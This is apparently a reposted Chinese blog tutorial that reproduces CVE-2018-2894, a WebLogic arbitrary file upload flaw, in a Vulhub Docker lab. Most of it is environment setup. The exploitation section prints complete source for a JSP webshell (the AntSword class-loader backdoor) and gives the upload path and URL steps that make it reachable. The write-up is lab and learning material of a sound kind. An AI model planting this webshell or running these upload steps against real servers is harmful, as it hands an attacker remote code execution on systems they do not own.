自学内容网 自学内容网

Weblogic - V12.2.1.3 - 任意文件上传漏洞 - CVE-2018-2894

0x01:漏洞简介

Weblogic 的 Web Service Test Page 存在任意文件上传漏洞,攻击者可以通过上传任意 jsp 文件进而获取服务器权限。漏洞存在于 /ws_utc/config.do/ws_utc/begin.do(这个页面说实话,笔者也不知道有啥用)两个页面上。

值得注意的是,Web Service Test Page 在 “生产模式” 下默认是关闭的,所以对该漏洞的利用存在一定的限制。

0x02:影响版本

  • weblogic 10.3.6.0

  • weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3

0x03:环境搭建

环境准备

  • VulHub 本地资源存储:vulhub-master.zip

  • 靶机环境:CentOS 7 - IP 192.168.0.137 - 安装 VulHub

  • 攻击机环境:Windows 10(安装了常用的安全工具)- IP 192.168.0.1

0x0301:靶机环境搭建

靶机:CentOS 7 服务器配置概览

  • Docker & Docker 管理工具:Docker & Docker-Compose - 用来管理 Vulhub 靶场。

  • Git:用来从 GitHub 下载 Vulhub 靶场。

这里我们采用 Vulhub 来进行漏洞的复现,而 Vulhub 需要依靠 docker 来进行管理,对于 CentOS 7 安装 Docker 可以参考下面这篇文章的前两个部分(Docker & Docker-Compose 的安装):

ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客文章浏览阅读3.4k次,点赞59次,收藏23次。灯塔,全称:ARL 资产侦察灯塔系统,有着域名资产发现和整理、IP/IP 段资产整理、端口扫描和服务识别、WEB 站点指纹识别、资产分组管理和搜索等等功能块。_灯塔arl https://blog.csdn.net/m0_73360524/article/details/143098904

下面我们主要介绍 CentOS 7 如何通过 Git 来安装 Vulhub 靶场,并通过 Docker 来对靶场进行管理和使用。

1. CentOS 7 安装 Git

首先,输入下面的命令安装 Git:

 sudo yum install -y git

然后输入下面的命令校验 Git 是否安装成功:

 git --version

2. Git 下载 Vulhub 靶场源码

https://github.com/vulhub/vulhubhttps://github.com/vulhub/vulhub

输入下面的命令在 /usr/local 文件夹下创建一个 soft 文件夹用以存放安装的软件:

 mkdir /usr/local/soft   # 创建 soft 文件夹
 cd /usr/local/soft      # 进入 soft 文件夹

然后进入 soft 文件夹,输入下面的命令,克隆 Vulhub 项目到本地:

 git clone https://github.com/vulhub/vulhub.git

(可选)如果你无法直接访问到 GitHub,可以通过前面的 “环境准备” 部分直接下载笔者下载好的 VulHub 资源然后上传到服务器中进行安装(笔者也是这样操作的):

 unzip vulhub-master.zip # 解压操作(可选),直接通过 Git 下载的应该不需要解压吧

通过上面两种方式安装完成后,结果应该长这样:

3. 通过 Docker 启动靶场环境

本次演示的是 Weblogic 的 “CVE 2018-2894” 漏洞。首先来到 VulHub 的安装路径:

 cd /usr/local/soft/vulhub-master # 这是我本机安装的目录,可能与你的不一样哦

然后进入漏洞文件夹:

cd weblogic/CVE-2018-2894

接下来的命令都要在靶场根目录下执行,也就是有 docker-compose.yml 文件的这个目录(docker-compose 需要通过读取这个文件来快速配置靶场,如果执行命令的地方没有这个文件,docker-compose 是不起作用的哦)。

输入下面的命令直接启动容器(第一次启动它会拉取镜像,会比较慢,然后有部分小伙伴在拉取镜像的时候会报错,这是因为其默认的镜像源在国外,国内访问不到,换个 Docker 镜像源就行):

docker-compose up -d # -d 代表后台启动,如果去掉就是前台启动了

然后输入下面命令,查看 Docker 开启的虚拟环境的端口:

docker ps

接下来直接访问靶机的 7001 端口就可以访问漏洞环境啦:

http://192.168.0.137:7001/console

问题解决:物理机无法访问靶机内部的靶场地址。

问题描述: 通过靶机中的 Docker 启动的虚拟环境,靶机可以访问,但是物理机无法访问。 问题解决:

输入下面的命令,修改 selinux/config 文件中的内容:

vim /etc/selinux/config

关机重启虚拟机后回到我们的靶场目录下,输入下面的命令查看容器 ID:

docker ps -a

然后输入下面的命令,重新启动虚拟环境即可(不同机器的容器 ID 是不一样的):

docker start <容器ID> # 比如上面我的 ID 是 ab84,那我运行的就是 docker start ab84

等待靶机部署完毕后,就会自动跳到 Weblogic 的后台页面啦(下面这张图就是个示意,不是本次复现的真实环境哈,本次复现的页面应该显示的是 12g 版本的):

至此,靶机的环境我们已经配置完毕。

4. (附录)Docker 常用命令

以下是一些经常使用的 docker-compose 命令(需要在有 docker-compose.yml 的文件夹下使用):

docker-compose build # 拉取镜像,创建容器
docker-compose up -d # 启动容器,如果没有容器会自动拉取镜像,创建容器
docker-compose stop  # 停止容器(靶场),容器依旧存在可以通过 docker start <容器ID> 重启启动容器
docker-compose down  # 删除容器(靶场)

以下是一些 docker 常用的命令:

docker version # 查看本机 docker 版本
docker info    # 查看 docker 详细信息
docker ps -a   # 列出所有 docker 容器,包括暂停运行的,可查看容器 ID
docker start <容器 ID> # 启动容器
docker stop  <容器 ID> # 暂停容器
docker exec -it <容器 ID> /bin/bash # 进入容器 Bash
    exit       # 退出容器 Bash 
docker rm <容器 ID>    # 删除容器
docker image rm <镜像 ID> # 删除镜像

0x0302:攻击机环境搭建

攻击机没有什么特殊的环境搭建,安装了 BurpSuite 和 “中国蚁剑” 就可以了(BP 咱都可以不用的)。

0x04:漏洞复现

0x0401:靶机不安全的配置

因为该漏洞是由于我们后台一个不安全的设置构成的,所以我们得先进入后台,去开启这个设置。

在靶机上输入下面的命令,拿到 Weblogic 的管理员密码:

docker-compose logs | grep password

然后访问 weblogic 的后台地址,并使用 weblogic : B6aBLbOJ 进行登录:

http://192.168.0.137:7001/console/

然后点击左侧的 “base_domain”,选择 “高级”:

然后定位到 “启用 Web 服务测试页“ 的选项,勾选后选择保存(本次漏洞的产生原因很可能就是开发者将产品上线后忘了关闭这个 “测试页” 所导致的):

0x0402:CVE-2018-2894 漏洞利用

访问 /ws_utc/config.do,进入测试页,第一次访问 weblogic 会进行页面部署,部署完成后就会跳到测试页面:

http://192.168.0.137:7001/ws_utc/config.do

将 Work Home Dir 修改为下面的内容并点击提交:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后准备一个 JSP 的后门木马,下面是 “中国蚁剑” 的配套 JSP 木马,密码是 passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

然后点击 “安全” => “添加”,将我们上面的木马上传:

然后右击 “检查页面”,打开开发者工具,定位到我们刚刚上传文件的序号处,成功拿到文件上传的时间戳:

1737292242941

然后将时间戳拼接到下面的链接中即可访问到后门文件:

/ws_utc/css/config/keystore/[时间戳]_[上传文件名].jsp

比如,我上传的后门文件叫 antshell.jsp,其时间戳是 1737292242941,那么我访问下面这个路径就可以拿到 Shell 了:

http://192.168.0.137:7001/ws_utc/css/config/keystore/1737292242941_antshell.jsp

我们使用中国蚁剑连接一下看看:

如上,成功连接上后门程序,那么至此,CVE 2018-2894 漏洞利用成功。


原文地址:https://blog.csdn.net/m0_73360524/article/details/145248357

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!